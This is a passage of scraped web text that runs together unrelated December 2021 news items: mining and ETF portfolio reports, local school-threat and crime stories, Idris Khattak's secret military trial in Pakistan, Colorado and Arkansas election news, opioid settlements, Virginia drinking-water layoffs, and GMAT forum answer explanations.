bonding pending for a 4,000m drill program, designed to test several copper-molybdenum porphyry and copper-gold skarn targets within a broad quartz-sericite-pyrite alteration zone, interpreted to overlie an unexposed porphyry centre. Permitting is in the final stages with drilling expected to commence in Q1, 2022. On behalf of the Board of Directors "Lawrence Page" Lawrence Page, Q.C. President & Director, Southern Silver Exploration Corp. For further information, please visit Southern Silver's website at southernsilverexploration.com or contact us at 604.641.2759 or by email at ir@mnxltd.com. Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. This news release may contain forward-looking statements. Forward-looking statements address future events and conditions and therefore involve inherent risks and uncertainties. Actual results may differ materially from those currently anticipated in such statements. Factors that could cause actual results to differ materially from those in forward-looking statements include the timing and receipt of government and regulatory approvals, and continued availability of capital and financing and general economic, market or business conditions. Southern Silver Exploration Corp. does not assume any obligation to update or revise its forward-looking statements, whether as a result of new information, future events or otherwise, except to the extent required by applicable law. To view the source version of this press release, please visit https://www.newsfilecorp.com/release/107741 Investment company VanEck Russia Small-Cap ETF (Current Portfolio) buys Ros Agro PLC, Aeroflot Russian Airlines PJSC, Beluga Group, M.Video PJSC, sells VNV Global AB, QIWI PLC, Eurasia Mining PLC, HeadHunter Group PLC, Globaltrans Investment PLC during the 3-months ended 2021Q3, according to the most recent filings of the investment company, VanEck Russia Small-Cap ETF. As of 2021Q3, VanEck Russia Small-Cap ETF owns 26 stocks with a total value of $31 million. These are the details of the buys and sells. New Purchases: AGRO, BELU, Added Positions: AFLT, MVID, JSFCF, CBOM, FLOT, Reduced Positions: EUA, HHR, GLTR, ETLN, UPRO, NMTP, OGKB, DSKY, MSNG, LNTA, MTLR, RASP, LSNGP, TGKA, LSRG, POG, Sold Out: VNV, QIWI, SELG, 00102, For the details of VanEck Russia Small-Cap ETF's stock buys and sells, go to https://www.gurufocus.com/guru/vaneck+russia+small-cap+etf/current-portfolio/portfolio These are the top 5 holdings of VanEck Russia Small-Cap ETF Aeroflot Russian Airlines PJSC (AFLT) - 2,825,412 shares, 8.60% of the total portfolio. Shares added by 29.10% Credit Bank of Moscow PJSC (CBOM) - 23,653,000 shares, 7.39% of the total portfolio. Shares added by 3.47% Sistema PJSFC (JSFCF) - 314,963 shares, 7.36% of the total portfolio. Shares added by 9.89% Detskymir PJSC (DSKY) - 1,144,298 shares, 6.50% of the total portfolio. Shares reduced by 5.5% Samolet Group PJSC (SMLT) - 25,634 shares, 5.58% of the total portfolio. New Position New Purchase: Ros Agro PLC (AGRO) VanEck Russia Small-Cap ETF initiated holding in Ros Agro PLC. The purchase prices were between $990 and $1220, with an estimated average price of $1116.29. The stock is now traded at around $1048.600000. The impact to a portfolio due to this purchase was 4.16%. The holding were 88,361 shares as of 2021-09-30. New Purchase: Beluga Group (BELU) Story continues VanEck Russia Small-Cap ETF initiated holding in Beluga Group. The purchase prices were between $2399 and $3558, with an estimated average price of $3031.11. The stock is now traded at around $3103.000000. The impact to a portfolio due to this purchase was 1.87%. The holding were 13,051 shares as of 2021-09-30. Added: Aeroflot Russian Airlines PJSC (AFLT) VanEck Russia Small-Cap ETF added to a holding in Aeroflot Russian Airlines PJSC by 29.10%. The purchase prices were between $66.08 and $70.96, with an estimated average price of $67.77. The stock is now traded at around $59.040000. The impact to a portfolio due to this purchase was 1.94%. The holding were 2,825,412 shares as of 2021-09-30. Added: M.Video PJSC (MVID) VanEck Russia Small-Cap ETF added to a holding in M.Video PJSC by 95.97%. The purchase prices were between $587.2 and $652, with an estimated average price of $625.36. The stock is now traded at around $538.400000. The impact to a portfolio due to this purchase was 1.56%. The holding were 124,720 shares as of 2021-09-30. Sold Out: VNV Global AB (VNV) VanEck Russia Small-Cap ETF sold out a holding in VNV Global AB. The sale prices were between $89.85 and $109.9, with an estimated average price of $100.74. Sold Out: QIWI PLC (QIWI) VanEck Russia Small-Cap ETF sold out a holding in QIWI PLC. The sale prices were between $7.99 and $10.65, with an estimated average price of $9.5. Sold Out: Seligdar PJSC (SELG) VanEck Russia Small-Cap ETF sold out a holding in Seligdar PJSC. The sale prices were between $43.01 and $45.8, with an estimated average price of $44.13. Sold Out: Summit Ascent Holdings Ltd (00102) VanEck Russia Small-Cap ETF sold out a holding in Summit Ascent Holdings Ltd. The sale prices were between $0.46 and $0.75, with an estimated average price of $0.61. Here is the complete portfolio of VanEck Russia Small-Cap ETF. Also check out: 1. VanEck Russia Small-Cap ETF's Undervalued Stocks 2. VanEck Russia Small-Cap ETF's Top Growth Companies, and 3. VanEck Russia Small-Cap ETF's High Yield stocks 4. Stocks that VanEck Russia Small-Cap ETF keeps buyingThis article first appeared on GuruFocus. Six Chancellor High School students are facing charges and another is under investigation as the result of a series of what authorities describe as disruptive incidents at the school this week. Spotsylvania County Sheriffs Maj. Troy Skebo said the most disruptive was a social media post that led a number of parents to pull their children out of school Tuesday. Skebo described the post as a vague threat warning students not to go to school Tuesday. News of the post spread quickly and caused a great deal of concern, he said. Skebo said the post did not mention a specific school or threat. But police and school administrators were able to identify a Chancellor High student as the author of the post and an investigation is ongoing. Support Local Journalism Your subscription makes our reporting possible. {{featured_button_text}} Meanwhile, six students are facing charges for allegedly pulling fire alarms this week at Chancellor High. A girl is being charged for an incident that took place Monday afternoon. Two more alarms were pulled Tuesday, Skebo said, adding to the tension in the air due to the social media situation. One boy was identified as being responsible for a morning incident, while four boys have been identified in the afternoon alarm, he said. Support Local Journalism Your subscription makes our reporting possible. {{featured_button_text}} Baker was hired as Spotsylvanias superintendent in 2012 after serving as assistant superintendent for instruction. During the public comment section of Mondays meeting, multiple speakersparents, employees of the division and studentsthanked Baker for his service and expressed distress at the prospect of his leaving. On behalf of the study body, you have been an amazing leader and we will miss you, said Dante Braden, a senior at Massaponax High School. Nicole Cole, who will take office as Battlefield District representative to the School Board in January, thanked Baker for making the schools the best they can be under the most challenging circumstances. As a parent, I will say from parents in this county who are public school advocates, we are tremendously grateful for your years of service, she said, adding that the threats, attacks, mistreatment and harassment you have been subjected to by some members of the School Board were never warranted and definitely never supported. The ministry, which provides ramps, bathroom renovations and other modifications to local homes, has a fair number of tools, but volunteers who want to bring basic equipment are encouraged to do so, Roberson said. The 516 Project added a disaster relief component to its ministry this year and already has been to North Carolina and Louisiana to help in the aftermath of flooding and Hurricane Ida. During such missions, it teams with local churches who provide the volunteers a place to stay. Roberson encourages those volunteering to bring a cot or air mattress and comforter. The project gets its name from Matthew 5:16, which encourages people to let your light so shine before men that they may see your good works and glorify your Father which is in heaven. Thats the motivation for the trip to Kentucky, Roberson said. These folks desperately need us to show up for them and show the love of Jesus, he said. We just want to be there to support them and help them put the pieces back together. Those interested in joining the effort are asked to sign up at 516project.org/kentuckytornadobg21. Donations also can be made at 516project.networkforgood.com. Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. SPRINGDALE, Ark. (AP) A former city council member and a retired U.S. Navy captain are headed toward a runoff for the Republican nomination for an Arkansas state Senate seat, beating out candidates in a special primary that included 19 Kids and Counting father Jim Bob Duggar. The poll results from Tuesday's election show that Colby Fulfer, who is chief of staff for the city of Springdale, won over 46% of the vote. Steve Unger won over 36% of the vote. The two will face off in a Jan. 11 primary runoff. Duggar drew roughly 15% of the vote. Fulfer was elected to the Springdale City Council in 2016 and served until 2020, the Arkansas Democrat Gazette reported. Unger served 31 years in the Navy. Both announced their bids in November. Forecasted temperatures will reach a high of 70 degrees mid-week along with high winds and possible storms in the area. After snowfall during the weekend, the National Weather Service is now forecasting record high mid-December temperatures occurring on Wednesday, with a high of 70 and a low of 24. Along with the drastic changes in temperature, the NWS has put out a high wind watch from 9 a.m. to 9 p.m. Wednesday. The NWS forecasts southwest winds 25 to 35 mph with gusts up to 65 mph being possible throughout east central, northeast and southeast Nebraska along with southwest and west central Iowa. Taylor Nicolaisen, a meteorologist with NWS of Omaha/Valley, told how these drastic temperature shifts occur. Part of why this happens is the dry conditions, lack of snow, lack of rain and dry topsoil, Nicolaisen said. Think of a desert. It can also get cold at night. The dry atmosphere does not hold the heat that well, so it can cool off in a hurry. Although it can heat up quickly, too. We felt the cold over the weekend. All that heat is now going toward heating the air instead of heating the grass, the trees and the soil. The NWS forecasts also indicate this temperature high is one for the records. Earlier this month, we had some 60 degree temperatures that broke some records, but last time Omaha hit 70 in December was in 1939, so its especially rare. And it has never hit 70 this late in the year, its always happened earlier in December. Its not unheard of to have wild swings this time of the year, but having it swing this wildly is pretty rare, Nicolaisen said. With rapid storms now closing in on Nebraska and Iowa, many are drawing comparisons to the tornadoes that hit several states Friday like the devastating storm that struck Kentucky. Its possible for one to form, but its not likely, Nicolaisen said. If one would form, it would likely be a much weaker tornado. The main threat is going to be those extra winds. Nicolaisen talked about other storms. Any thunderstorm that forms is going to be very fast moving, Nicolaisen said. The winds themselves will last all day, but the thunderstorm threat will not last long. The high wind watch is going to be the biggest challenge for the NWS and the citizens of Nebraska and Iowa. We are expecting reports of some tree damage and some fire concerns, Nicolaisen said. The fire worry is a major concern. It will already be warm and dry outside. Now with the high winds, it might knock down power lines or cause the power lines to bump into each other and cause an arc. Its multifaceted between the winds and the storms, and the dryness and record highs we are seeing. Its going to be busy here. Nicolaisen provided some advice. We want people to recognize its going to be considerably windier than a normal Nebraska windy day, Nicolaisen said. Just consider not putting your garbage can out, or taking down your inflatable Santa, and I can tell you I wouldnt want to be driving a U-Haul. Take 24 hours to avoid anything susceptible to high winds. Visit the National Weather Services website for more information and updates. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Prominent human rights activist Idris Khattak spent years campaigning against enforced disappearances in Pakistan, where critics say the practice has been used by authorities to stifle dissent. But the 58-year-old himself became the victim of an enforced disappearance in 2019 when Pakistani intelligence agents bundled him into a car in broad daylight and whisked him away to an unknown location. For seven months, Khattaks family had no idea where he was or why he was taken. Then, in a rare admission of an enforced disappearance, Pakistans powerful military confirmed he was in custody and had been charged with treason. Now, following a secret trial, a military court has convicted Khattak of espionage and leaking sensitive information to a foreign intelligence agency, sentencing him to 14 years in prison, his family and lawyer say. His whereabouts are still unknown. Authorities have not made the December 4 verdict public, leaving Khattaks family in the dark over the exact status of his case and conviction. First they took my father and then they disappeared him, Talia Khattak, the 21-year-old daughter of the rights defender, told RFE/RLs Radio Mashaal. Now they have found him guilty but havent said what evidence they have against him. She added that the family had not been notified of Khattaks trial. His conviction was disclosed by a liaison army officer during a hasty phone call, she said. Without offering any details, they told me that my dad was found guilty of espionage, she said, adding that she also did not receive any information from her fathers lawyer. We are very worried, she added. Fourteen years in prison means that my father would be 72 years old when he completes his sentence, if he stays healthy. He is diabetic and needs regular medical attention. Khalid Afridi, Khattaks lawyer, told Radio Mashaal that he was also not notified of Khattak's trial or sentencing. He said he found out through informal means. We are going to file a petition against the verdict, Afridi said, adding that he would appeal to a higher military court and, if that failed, take the case to the Supreme Court. Khattak was tried by a military court behind closed doors even though he is a civilian. Attempts by Khattaks lawyer to have the trial take place in a civilian court have twice been rejected. Rights groups have condemned the secrecy surrounding Khattaks case and conviction, saying it violates the activists right to a fair trial and prevents his family and lawyer from planning any legal recourse. Rights activists suggest Khattak was arrested because he spoke out against the arbitrary detentions and forced disappearances committed by the military, which has an oversized role in domestic and foreign affairs. Criticism of the army has long been seen as a red line, with activists and journalists complaining of intimidation tactics including kidnappings, beatings, and even killings if they cross that line. The Inter-Services Public Relations (ISPR), the military's media wing, did not respond to calls from Radio Mashaal seeking comment. Baseless Charges Khattak spent years compiling a list of the victims of enforced disappearances in the tribal belt in northwestern Pakistan, home to the countrys largest ethnic minority, the Pashtuns. Khattak himself is a Pashtun. A former militant stronghold, the restive area has been the scene of brutal military offensives and terrorist attacks that have killed thousands of civilians and uprooted millions more since 2003. Khattak had also campaigned against the armys alleged abuses in the southwestern province of Balochistan, including enforced disappearances, extrajudicial killings of political activists and suspected separatists, arbitrary arrests, and torture. A former consultant with Amnesty International, Khattak was traveling from the capital, Islamabad, to his hometown of Nowshera when his car was intercepted by intelligence agents in November 2019. After a monthslong legal battle and a social media campaign by his family, Pakistans Defense Ministry admitted in June 2020 that Khattak was in the custody of the Military Intelligence, a spy service. The ministry said Khattak was being charged with treason under the Official Secrets Act (OSA), a law that criminalizes espionage and the disclosure of government secrets. Rights groups say the colonial-era legislation has been used to suppress free speech. The OSA also gives military courts jurisdiction to try civilians for some offences, including espionage. The conviction against Khattak is believed to stem from a meeting with Michael Semple in July 2009, more than 10 years before his enforced disappearance. A court order described Semple as an agent for Britains MI6 intelligence service. At the time of the meetings, Semple was a fellow at Harvard University and had been a high-ranking United Nations and European Union official in neighboring Afghanistan. Khattak was convicted of providing information to Semple about Pakistani military operations in the countrys tribal areas. He was expelled by the Afghan government for "unauthorized activity in 2008. Semple is currently a professor at Queen's University in Belfast. Yameema Mitha, Semples Pakistan-born wife, has denied that her husband was an MI6 agent, saying the allegations were fictitious. Semple himself has not publicly commented on the allegations. This is baseless, Talia Khattak told Radio Mashaal. At the time my father disappeared, he was researching civilian casualties from Pakistani military operations in the tribal areas. He had also interviewed family members of victims of enforced disappearances. During Khattaks two-year detention, his daughter has been allowed to meet with him only three times. Our meetings were only brief, said Talia Khattak, who is a university student. We werent allowed to speak in Pashto, our native language, during our meetings. We were also not allowed to speak about the case. Papa always tried to stay strong and asked me to focus on my studies. Shameful Two-year Process Rights groups have condemned Khattaks secret trial and conviction. Khattaks conviction under these circumstances is the culmination of a series of egregious abuses that began with his abduction, seven-month enforced disappearance, and subsequent secret trial that violated due process and fair trial standards, Human Rights Watch said in a statement on December 6. The rights group called on Pakistani authorities to quash the verdict and sentence against Khattak, and instead conduct his trial in a civilian court, if there was any credible evidence that a crime has been committed. In a statement issued on December 4, Amnesty International said that, if confirmed, Khattaks conviction will be the culmination of a shameful two-year process that has been unjust from start to finish. The rights group said that enforced disappearance has been used as a tool to muzzle dissent and criticism of military policies. The individuals and groups targeted in enforced disappearances include members of ethnic minorities, political activists, and human rights defenders. In 2011, the Pakistani government created a commission to document and investigate cases of enforced disappearances. The commission has since received complaints in over 8,000 cases, of which around 2,200 remain unresolved. But the body has been criticized for failing to address entrenched impunity. Last month, Pakistans lower house of parliament passed a bill that, for the first time, defined and criminalized the practice of enforced disappearances. But rights groups have criticized the proposed law and said it would not do enough to hold perpetrators to justice. Rights groups have described the heavy toll on the families of the disappeared and their difficulties in obtaining information about their detained relatives. Talia Khattak said despite the immense pain the ordeal has inflicted on her family, they will not give up their fight to secure her fathers freedom. I will knock every door and use all legal options to release him, she said. Close Get email notifications on {{subject}} daily! Your notification has been saved. There was a problem saving your notification. {{description}} Email notifications are only sent once a day, and only if there are new matching items. John Kellner is the elected district attorney for the 18th Judicial District, which includes Arapahoe, Douglas, Elbert and Lincoln counties. You have permission to edit this article. Edit Close Diversity was never Grand Junctions long suit. We knew that two years ago, but nobody wanted to say anything when the Trump administration moved the headquarters for the Bureau of Land Management to Colorado. State Rep. Dave Williams, one of the most outspoken Republicans in the Colorado General Assembly, announced Tuesday that he's challenging eight-term U.S. Rep. Doug Lamborn in next year's GOP primary. In a combative email to supporters, Williams says he's running, in part, because of his "disgust over the corrupt actions of incumbent Doug Lamborn that are finally being exposed," pointing to a lawsuit filed by a former congressional staffer who claims that Lamborn downplayed safety measures during the COVID-19 pandemic. Lamborn has denied the allegations. Last week, the House Committee on Ethics said it's moving ahead with an investigation into the former staffer's accusations. Finally, the real Doug Lamborn is being exposed by Congressional investigators, the media and the courts for the unethical establishment insider he has become in Washington, D.C.," Williams said. "Our new district deserves a new Congressman with a proven conservative record of always fighting for regular workers and families and never selling out to corrupt D.C. power-brokers the way Doug Lamborn already has so many times." Lamborn has faced primary challenges nearly every time he's run for re-election in the heavily Republican 5th Congressional District, which covers El Paso County and neighboring counties. A spokeswoman for Lamborn's re-election campaign declined to comment. Williams is serving his third term in the state House. During his tenure in the legislature, Williams said, he's "been a passionate advocate for the working families of Colorado and been an outspoken leader to expose and fix election fraud and to stop illegal immigration." Added Wiliams: "Im 100% pro-life and 100% pro-2nd Amendment because both issues are about protecting the innocent from harm. Ive never and will never vote for a tax or spending increase because at all levels government is too big and spends too much and I know that not just Democrats but corrupted establishment Republicans are also to blame for the mess our country is in." This summer, Williams was one of the leaders of an unsuccessful bid to cancel next year's GOP's primary election and instead pick party nominees at Republican assemblies. He argued that allowing unaffiliated voters to cast ballots in Colorado's semi-open primary system has produced watered-down Republican nominees, damaging the party's prospects with voters. Republican central committee members shot down the proposal by a two-to-one margin. Lamborn was first elected to the seat in 2006 after winning a nasty, six-way primary with 27% of the vote. Since then, he's survived five primary elections, most recently in 2018 when four Republicans made the ballot, including former El Paso County Commissioner and 2016 U.S. Senate nominee Darryl Glenn and former state Sen. Owen Hill, R-Colorado Springs. Two Republicans have already declared candidacies for the seat, which has never sent a Democrat to the U.S. House, but so far neither has made much of a splash. Rebecca Keltie, a member of the John Birch Society, reported raising about $5,000 through Sept. 30 and had about $3,000 in the bank. Political newcomer Christopher Mitchell has yet to report any fundraising. Lamborn had about $450,000 in the bank at the end of the third quarter. Three Democrats and two unaffiliated candidates are also running in the district. Michael Christopher Colombe, Jeremy Dowell and S. David Goenga-Torres are seeking the Democratic nomination, while Marcus Murphy and Ryan Casey Thompson are unaffiliated hopefuls. Cookie Preferences Cookie List Cookie List A cookie is a small piece of data (text file) that a website when visited by a user asks your browser to store on your device in order to remember information about you, such as your language preference or login information. Those cookies are set by us and called first-party cookies. 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You may opt out of our use of such cookies (and the associated sale of your Personal Information) by using this toggle switch. You will still see some advertising, regardless of your selection. Because we do not track you across different devices, browsers and GEMG properties, your selection will take effect only on this browser, this device and this website. Iowa could see up to $170 million to distribute for training on drug addiction and treatment, thanks to a settlement with four pharmaceutical companies sued for overselling opioids. But in North Iowa, abuse is largely attributed to a different substance: alcohol. "There's a large number of individuals involved in the use in the last few years," Chief Deputy David Hepperly of Cerro Gordo County said regarding drug abuse. But Hepperly confirmed that as far as arrests, they are overwhelmingly made for alcohol violations. Alcohol is the substance most frequently used by Iowa adults and youth, according to the 2018 State of Iowa Substance Use Epidemiological Profile, outweighing drug use. Alcohol sales in the state increased by $47 million in fiscal year 2020, a record-breaking year, until 2021, which topped $400 million, a 13.2 percent increase, according to an Iowa Alcoholic Beverages Division (ABD) report released on Tuesday. Despite COVID-19 restrictions, Cerro Gordo County was 11th of 99 counties in the state for alcohol sales by the gallon, selling over 140,000 gallons, according to the Business Operations Bureau. Cerro Gordo ranks 14th in the state for population. During the Christmas and New Years Day holiday periods in 2019 alone, there were more drunk-driving-related fatalities (210) than during any other holiday period that year, the Iowa Department of Public Safety stated in a recent press release. Sadly, the statistics prove that we have a lot of work to do to put an end to drunk driving. An overwhelming number of substance abuse arrests in Cerro Gordo County could be attributed to OWI, public intoxication, and underage drinking arrests, according to Hepperly. In Cerro Gordo county, 22% of adults admitted to excessive drinking in 2020, according to County Health Rankings and Roadmaps. "I would speculate that substance abuse probably was higher during lockdown periods because people were at home more and couldn't be active, so they may have relied more on substance abuse as a crutch to deal with boredom and other things at home," Clear Lake Police Captain Mike Colby said. As far as calls go, "I wouldn't say we've seen a large increase ... probably because more people have been staying at home." Colby stated that as far as public intoxication arrests go, there hasn't been a rising trend recently. Citing 117 uncombined public intoxication arrests since April 1, 2018, and seeing no rise in arrests in Mason City, alcohol abuse has likely moved behind closed doors. Addicted.org is a website that provides information on drug addiction treatment centers in each county, but some, like Winnebago, are empty, while others, such as Worth County, have no page at all. When asked about the lack of alcohol abuse information on the Cerro Gordo Public Health page, Public Information Officer Jeremy Otto responded, Unfortunately, North Iowa in general does not dedicate a whole lot of resources to helping people with alcohol addiction/misuse. Seven percent of state revenue generated from the sale of alcohol goes Iowa Department of Public Health to substance abuse programs. Over $100 million was allocated to the State of Iowa General Fund in 2021, according to the ABD annual report. The North Iowa Tobacco Prevention Coalition is working to expand and become the North Iowa Addiction Prevention Alliance in order to address the problem. But for those currently struggling with alcohol abuse, there is a spot of light. Prairie Ridge, an addiction treatment center in Mason City, offers different programs to help people with alcohol abuse. "It's really important to us that an alcohol abuse disorder is treated with the respect it deserves." said Executive Director Lorrie Young. Prairie Ridge works to take away the stigma of alcohol abuse, recognizing it for the chronic health condition it is, rather than a moral failure. In the 52 years Prairie Ridge has been treating people, alcohol has always been the number one substance abuse disorder they treat. Prairie Ridge has many programs to teach prevention in schools and businesses in the area, as well as Prime of Life classes, which are state-approved classes required by the DOT to reinstate a revoked license after an OWI. For those seeking treatment, Prairie Ridge offers inpatient and outpatient therapy, as well as walk-in assessments at their clinic every Monday and Tuesday starting at noon, and Thursday beginning at 8 a.m. Gretchen Burnette is a Weeklies Editor and Daily Reporter at the Globe Gazette. You can reach her by phone at 641.421.0523 or at Gretchen.Burnette@GlobeGazette.com Love 0 Funny 0 Wow 0 Sad 1 Angry 0 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. A Mason City man convicted of felony first degree burglary has walked away from his work release assignment, according to the Iowa Department of Corrections. Nathan Wayne Lee, 32, is described as a white man, 5-feet 10-inches tall and weighing 275 pounds. He was admitted to the state's West Union facility on Nov. 2, and failed to report to work as required on Monday, according to a press release. Lee and accomplice Bradley Allen Bilyeu were initially charged with attempted murder and first-degree burglary on Nov. 27, 2008. Twelve days earlier, police found William Robert Schukei, then 49, in his home on the 600 block of North Tyler Avenue, suffering from a gunshot wound, according to a Globe Gazette story. Mason City police arrested the two, both then 19, on Nov. 26. Cerro Gordo County District court records on the case were not available to the public, but a Globe Gazette story from Nov. 18, 2009, indicates he was sentenced to a mandatory minimum of five years in prison on an amended charge of first-degree burglary. The attempted murder charge was dismissed. Love 1 Funny 0 Wow 0 Sad 0 Angry 4 Sign up for our Crime & Courts newsletter Get the latest in local public safety news with this weekly email. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Three students with direct knowledge of the rumors of potential violence at Mason City Schools were questioned by police on Wednesday, and two were referred to juvenile court. Mason City Schools sent out a message to parents on Wednesday morning, saying the district had been made aware of rumors of threats toward buildings across Iowa and Mason City, specifically. Mason City police were contacted by district officials who were concerned about a social media post circulating among students, according to a press release the MCPD issued Wednesday afternoon. Police interviewed the student who made a post on the social media platform Snapchat and determined that the student did not know of any threats made specifically toward Mason City schools. Then, at about 12:45 p.m. on Wednesday, MCPD was call to the high school for two separate incidents of students making specific threats of violence toward students, staff and facilities, according to the release. After investigating, two were referred to Cerro Gordo County Juvenile Court Services for one count each of threats of terrorism. The incidents remain under investigation. The district continues to work with the MCPD to ensure the school environment is safe for students and staff. The police department encourages parents to speak to their school-aged children about responsible use of social media and how to report suspicious, unusual or criminal activity. Several districts across Iowa responded to threats last week, including West Des Moines, Ankeny, Sioux City, the Quad Cities area, and Ames. Love 0 Funny 0 Wow 5 Sad 6 Angry 8 Want to see more like this? Get our local education coverage delivered directly to your inbox. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Re: Anyone concerned about the strength of our nations defenses [ #permalink Let us simplify the argument -Premise 1: Ed harmon did these things -a) voted against funding for Z-19 bomberb) rejected President's defense spending planc) voted to close 3 army basesPremise 2: Tom Caldwell opposed Ed harmon on all three issues.Conclusion: Tom is the stronger candidate on defense.This is an EXCEPT question. That is all four incorrect answer options must weaken the conclusion. The correct answer might strengthen/have no effect on the conclusion.A - this addresses issue (b) in the premise. If Ed voted for a stronger plan, then by opposing Ed Tom voted for a weaker plan. Hence, the conclusion that Tom is the stronger candidate would fall apart.B - this addresses issue (c). If such bases were unnecessary, Ed's decision did not necessarily weaken the country's defense capabilities.C - weakens the argument. If he has extensive experience, then probably his voting decisions were for the betterment of defense capabilities (like answer option A). He probably thought that these deals were not good for the country and suggested better ones.D - does not strengthen or weaken the argument. Does not address what his positions on defense are. hence, is the correct answer.E - weakens the argument. It explains why Ed voted against the Z-19 plan._________________ Rocket7 wrote: Hi guys I will appreciate if anyone can provide an explanation for each answer choice. Especially Option C & E. Thanks for assisting working parents, which include paid maternity and paternity leaves, financial allowances for families with children, and they subsidize which Which modifies the closest noun, in this case parents so it doesn't make any sense include... kindergartners to modify parents to include subsidizing Not parallel changes the intended meaning by doing the following: to assist working parents to include paid maternity and paternity leaves, financial allowances for families with children to subsidize public nurseries and kindergartens. Same as A Correct I am not an expert, but I think I can explain this question well enoughMost European countries offer a variety of programspublic nurseries and kindergartens.A: for assisting working parents,include paid maternity and paternity leaves, financial allowances for families with children, and they subsidize ---B: for the assistance of working parents,paid maternity and paternity leaves, also financial allowances for families with children, and---C: in order to assist working parents, to include paid maternity and paternity leaves, financial allowances for families with children, and to subsidize ----Most European countries offer a variety of programs in orderThe meaning here is that countries offer programs to assist parents, to include paid maternity and to subsidize public nurseries, and here the intended meaning is how they assist the parents rather than which programs they offer, as well the last to sentences are in a lower level than to assist working partentsD: to assist working parents, which includes paid maternity and paternity leaves, financial allowances for families with children, and they also subsidize ----E: to assist working parents, including paid maternity and paternity leaves, financial allowances for families with children, and subsidized ---has the intended meaning that countries offer a variety of programs to assist working parents, programs that include paid maternity, paternity leaves, etc.I hope I could make myself clear enough.Cheers! Danville will receive a small share of a $26 billion settlement of opioid-related claims following a lawsuit filed by state and local governments. The city will get $1 million over 18 years as a result of the settlement of the claims made by state and local governments against drug manufacturer Johnson & Johnson (Janssen Pharmaceuticals) and three distribution companies: McKesson, Cardinal Health and AmerisourceBergen. The three drug distributors will make their combined $21 billion payment over 18 years, while Johnson & Johnson will pay $5 billion over a nine-year span, NPR reported in July. By a 7-1 vote Dec. 7, Danville City Council passed a resolution agreeing to participate in the settlement. But Madison Whittle, who voted against approval, was dissatisfied with what he saw as a paltry amount that would not cover the costs of the effects of opioids on the community. Its a $1 million settlement over 18 years, Whittle said. I think we should fight it. While he understood the legal work that went into the lawsuit and settlement, Im just pushing back on a million bucks for 18 years, he said. Council member Sherman Saunders was absent. Vice Mayor Gary Miller pointed out the reasons why the lawsuit was filed and why the city joined it. The countrys opioid epidemic has been overshadowed by the COVID-19 pandemic and caused 100,000 deaths in 2020, he said. Those were companies who willingly knew what they were doing, Miller said. They promoted the highly addictive opioids as non-addictive and short-acting with support from physicians, pharmacies, corporate entities and middle men who made money, he said. We entered into this because of the damages it has done to communities across the country, Miller said. Its costing millions for communities, rescue squads, treatment of overdoses, hospitals, mental health. Those companies made billions, he said. The citys resolution points out that the opioid epidemic has cost thousands of human lives across the country, and also impacts the city of Danville by adversely impacting the delivery of emergency medical, law enforcement, criminal justice, mental health and substance abuse services, and other services by the citys various departments and agencies ... Also, Danville will continue to be required to allocate taxpayer dollars, resources, staff energy and time to address the damage the opioid epidemic and has caused and continues to cause citizens, the resolution states. Danville City Attorney Clarke Whitfield would not comment for this story Wednesday. Localities, including Danville, have until Jan. 2 to agree to join the settlement. In a July statement, Johnson & Johnson said the settlement will directly support state and local efforts to make meaningful progress in addressing the opioid crisis, NPR reported. J&J denied any wrongdoing in its manufacture and marketing of opioids, describing its actions as appropriate and responsible, NPR reported. However, as part of the agreement, J&J agreed to no longer manufacture opioid medications. The company voluntarily halted sales of prescription opioids last year, NPR reported. In a joint statement, the three drug distributors AmerisourceBergen, Cardinal Health and McKesson said the settlement was expected to resolve a substantial majority of opioid lawsuits filed by state and local governmental entities, NPR reported. They added that while the companies strongly dispute the allegations in these lawsuits, the settlement will deliver meaningful relief to communities across the United States, NPR reported. Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Citing a budgeting error, the Northam administration is laying off 14 state employees who monitor drinking water systems across the state, including six field directors with a combined 180 years of experience. The 11 full-time and three wage employees are in the Department of Healths Office of Drinking Water. They were recently notified that their last day will be Jan. 9. Dwayne Roadcap, the director of the Office of Drinking Water, declined to be interviewed. The budget error stems from a 2019 salary increase for 55 employees, and new employees for a field office in Richmond. The drinking water budgeting error, according to the health department, is $1.4 million. Roadcap had information to suggest that [the Office of Drinking Water] budget could handle the additional costs for this effort, but the information shared with him was not correct, Bob Hicks, Virginias deputy commissioner for public health and preparedness, said in a statement. The bad information came from health department administrators, an agency spokeswoman said. The office monitors water quality across the state, enforces drinking water standards in state and federal law, handles inspections and permits, and assists with lab testing. The office monitors public water systems from Fairfax Countys water supply on down to a convenience stores. Jesse Royall, a longtime member of the state Waterworks Advisory Committee and the executive vice president at Sydnor Hydro Inc. in Richmond, a private utility company, said the layoffs will hurt the states ability to protect public health. This office is the gatekeeper for ensuring that we maintain the public health and safety through safe drinking water provided to our communities, and in addition, evaluating potential risks, he said. Its going to have a devastating effect on the effectiveness of the Office of Drinking Water to be a partner working with public utilities ... and its going to result in the department, in my opinion, moving toward basically enforcement only and addressing issues after the fact. The Northam administration did not issue any official statement or announcement on the layoffs until contacted by the Richmond Times-Dispatch. Northams office approved a December 2020 study required by the legislature that recommended consideration of more staff in the Office of Drinking Water not less to comply with federal requirements and other needs. And the layoffs come at a time of a record state budget surplus. Northam on Wednesday announced hundreds of millions in spending for the Chesapeake Bay. Grant Neely, a spokesman for Gov. Ralph Northam, declined to be interviewed. Asked by email why the governor couldnt have avoided layoffs at the holidays when the state has a record surplus, Neely responded that Northam had nothing to add and delegates authority to agency heads. He does not micromanage every action of a multi-billion state government that employs more than 100,000 people, Neely wrote. The number of full-time employees in the Office of Drinking Water will drop from 104 to 93. The offices field directors who are being laid off work in offices in Abingdon, Lexington, Danville, Culpeper, Richmond and Norfolk. In neighboring Maryland, a new Environmental Protection Agency report found the state has too few drinking water inspectors and they are overworked, the Baltimore Sun reported. RICHMOND The Mountain Valley Pipeline made it across troubled waters Tuesday. In a 3-2 vote, the State Water Control Board granted a permit for the 